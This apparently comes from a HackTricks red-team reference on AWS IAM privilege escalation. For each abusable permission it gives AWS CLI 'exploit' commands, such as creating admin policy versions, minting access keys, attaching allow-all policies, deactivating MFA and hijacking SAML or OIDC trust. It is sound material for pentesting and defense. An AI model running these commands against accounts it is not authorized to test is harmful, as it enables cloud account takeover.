Links

AWS - IAM Privesc

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:

IAM

For more info about IAM check:

iam:CreatePolicyVersion

Grants the ability to create a new IAM policy version, bypassing the need for iam:SetDefaultPolicyVersion permission by using the --set-as-default flag. This enables defining custom permissions.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impact: Directly escalates privileges by allowing any action on any resource.

iam:SetDefaultPolicyVersion

Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impact: Indirect privilege escalation by enabling more permissions.

iam:CreateAccessKey

Enables creating access key ID and secret access key for another user, leading to potential privilege escalation.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: Direct privilege escalation by assuming another user's extended permissions.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit for Update:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: Direct privilege escalation by logging in as "any" user.

iam:UpdateAccessKey

Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impact: Direct privilege escalation by reactivating access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user.
Exploit for Creation:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit for Reset:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impact: Direct privilege escalation within the user's service permissions.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit for Group:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impact: Direct privilege escalation to anything the policy grants.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions.
Exploit for Role:
bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit for Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
You can use a policy like:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}
Impact: Direct privilege escalation by adding permissions through policies.

iam:AddUserToGroup

Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impact: Direct privilege escalation to the level of the group's permissions.

iam:UpdateAssumeRolePolicy

Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Where the policy looks like the following, which gives the user permission to assume the role:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact: Direct privilege escalation by assuming any role's permissions.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit for MFA Deactivation:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impact: Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection.

iam:ResyncMFADevice

Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection.
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: Indirect privilege escalation by adding or manipulating MFA devices.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

With these permissions you can change the XML metadata of the SAML connection. Then, you could abuse the SAML federation to login with any role that is trusting it.
Note that doing this legit users won't be able to login. However, you could get the XML, so you can put yours, login and configure the previous back
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
TODO: A Tool capable of generating the SAML metadata and login with a specified role

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Unsure about this) If an attacker has these permissions he could add a new Thumbprint to manage to login in all the roles trusting the provider.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks: